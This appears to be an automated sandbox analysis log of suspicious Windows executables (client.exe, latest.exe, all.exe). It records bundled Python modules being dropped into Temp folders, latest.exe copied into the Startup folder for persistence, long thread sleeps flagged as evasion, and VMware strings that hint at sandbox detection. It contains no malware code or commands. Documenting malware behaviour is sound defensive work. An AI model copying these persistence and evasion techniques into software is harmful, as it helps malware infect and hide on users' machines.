Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\backend_c.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe TID: 5584	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe TID: 5584	Thread sleep time: -84000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe TID: 7084	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe TID: 7084	Thread sleep time: -49000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: latest.exe, 0000000B.00000003.2746059983.000001FD570CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmncVMware Screen Codec / VMware VideoInvalid packet
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: latest.exe, 0000000B.00000003.2746059983.000001FD570CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Screen Codec / VMware Video

Source: C:\Users\user\Desktop\client.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe C:\Users\user\Desktop\client.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\latest.exe latest.exe	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe C:\Users\user\Desktop\latest.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\Startup\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
